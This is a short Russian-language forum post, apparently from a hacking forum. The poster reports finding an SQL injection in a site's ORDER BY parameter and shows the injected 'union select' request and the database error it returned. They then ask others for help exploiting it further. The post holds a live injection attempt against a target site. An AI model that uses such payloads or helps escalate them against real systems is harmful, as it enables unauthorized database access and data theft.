Нашел скулю, запрос http://xxx.com/cat/15?order=id&order_type=DESC

Делаю такой запрос /cat/15?order=id union select 1--&order_type=DESC

Выводит

A Database Error Occurred

Error Number: 1221

Incorrect usage of UNION and ORDER BY

SELECT * FROM (`items`) WHERE `category` = '15' AND `sold` = '0' ORDER BY `id` union select 1-- DESC LIMIT 50

Помогите дальше раскрутить.